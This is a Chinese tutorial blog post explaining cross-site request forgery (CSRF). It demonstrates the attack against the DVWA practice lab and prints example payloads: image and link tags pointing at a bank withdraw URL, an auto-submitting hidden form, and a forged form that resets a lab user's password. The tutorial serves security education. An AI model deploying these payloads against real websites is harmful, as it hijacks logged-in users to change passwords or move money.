CSRF跨站伪造攻击

0x00前言

web安全中除了XSS 还有一种最容易被忽视的攻击手段,那就是CSRF,它可以在用户无感知的情况下发起攻击,接下来我们来认识一下这种攻击手段。

0x10

跨站伪造请求 ( Cross - site request forgery ) 也被称为one- click attach 或者session riding,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

0x20

0x21 CSRF的漏洞利用流程
  1. 受害者登录a.com 并获取有效的cookies
  2. 攻击者引导受害者访问了b.com
  3. b.com 向a.com发送一个请求a.com/act=xx,此时浏览器会默认携带a.com的cookies来完成这个请求
  4. a.com接收到请求后,对请求进行验证,误以为是受害者发出的请求
  5. a.com就会以受害者的名义执行了act=xx
  6. 攻击完成,攻击者在没有获取用户cookies的情况下,冒充了受害者让a.com执行了攻击者的操作
0x22 CSRF攻击的本质
  • 使用了允许发送第三方cookie的浏览器
  • 攻击者可以伪造出请求的链接
0x23CSRF特点
  1. 攻击一般发起在第三方网站,被攻击的网站无法防止攻击发生
  2. 攻击利用受害者已经认证的登陆凭证,冒充受害者提交操作,不是直接窃取数据
  3. 跨站请求的方式可以使用图片URL、超链接、Form等方式
<img src="http://bank.example/withdraw?amount=10000&for=hacker" > 
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
<form action="http://bank.example/withdraw" method=
   
   
    
    POST
   
   >

    <input type="hidden" name="account" value="xiaoming" />

    <input type="hidden" name="amount" value="10000" />

    <input type="hidden" name="for" value="hacker" />

</form>

<script> document.forms[0].
   
   
    
    submit
   
   (); </script> 

0x30

0x31 攻击演示

此时了解了csrf攻击的原理,接下来使用DVWA来进行攻击演示,首先登陆dvwa

在这里插入图片描述

查看页面源码发现只有一个get请求的表单,而且没有任何认证

		<
    
    
     
     form
    
     
    
    
     
     action
    
    ="#" 
    
    
     
     method
    
    ="GET">
			New password:<br />
			<
    
    
     
     input
    
     
    
    
     
     type
    
    ="
    
    
     
     password
    
    " 
    
    
     
     AUTOCOMPLETE
    
    ="off" 
    
    
     
     name
    
    ="password_new"><br />
			Confirm new password:<br />
			<
    
    
     
     input
    
     
    
    
     
     type
    
    ="
    
    
     
     password
    
    " 
    
    
     
     AUTOCOMPLETE
    
    ="off" 
    
    
     
     name
    
    ="password_conf"><br />
			<br />
			<
    
    
     
     input
    
     
    
    
     
     type
    
    ="
    
    
     
     submit
    
    " 
    
    
     
     value
    
    ="
    
    
     
     Change
    
    " 
    
    
     
     name
    
    ="
    
    
     
     Change
    
    ">
		</
    
    
     
     form
    
    >

那么我们可以伪造一个html来构造csrf攻击,只需要发起一个表单就好了。


<
    
    
     
     form
    
     
    
    
     
     action
    
    ="http://192.168.18.153/dvwa/vulnerabilities/csrf/?" 
    
    
     
     method
    
    ="GET">
    New password:<br />
    <
    
    
     
     input
    
     
    
    
     
     type
    
    ="
    
    
     
     password
    
    " 
    
    
     
     value
    
    ="123456" 
    
    
     
     AUTOCOMPLETE
    
    ="off" 
    
    
     
     name
    
    ="password_new"><br />
    Confirm new password:<br />
    <
    
    
     
     input
    
     
    
    
     
     type
    
    ="
    
    
     
     password
    
    " 
    
    
     
     value
    
    ="123456" 
    
    
     
     AUTOCOMPLETE
    
    ="off" 
    
    
     
     name
    
    ="password_conf"><br />
    <br />
    <
    
    
     
     input
    
     
    
    
     
     type
    
    ="
    
    
     
     submit
    
    " 
    
    
     
     value
    
    ="
    
    
     
     Change
    
    " 
    
    
     
     name
    
    ="
    
    
     
     Change
    
    ">
</
    
    
     
     form
    
    >
<
    
    
     
     script
    
     
    
    
     
     type
    
    ="text/javascript">
  
</
    
    
     
     script
    
    >>

将action指定了目标网站,同时表单中输入了value=123456,此时我们构造 了一个简陋的html,当然在实际中可以是一个空白图片或者其他用户无法感知的组件。
在这里插入图片描述

此时点击change,会发现跳转到源站并且提示密码已经被更改
在这里插入图片描述

接下来我们验证一下此次攻击是否成功,首先退出到登陆界面,然后填入原先的密码,发现登陆失败。
在这里插入图片描述
接下来我们输入攻击后更改的密码123456,发现登陆成功了。

在这里插入图片描述

通过以上操作在另一个域提交表单,成功的更改了用户的密码,由此验证了我们的攻击是有效的。

以上介绍的就是CSRF的简单介绍和最基础的攻击手段。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值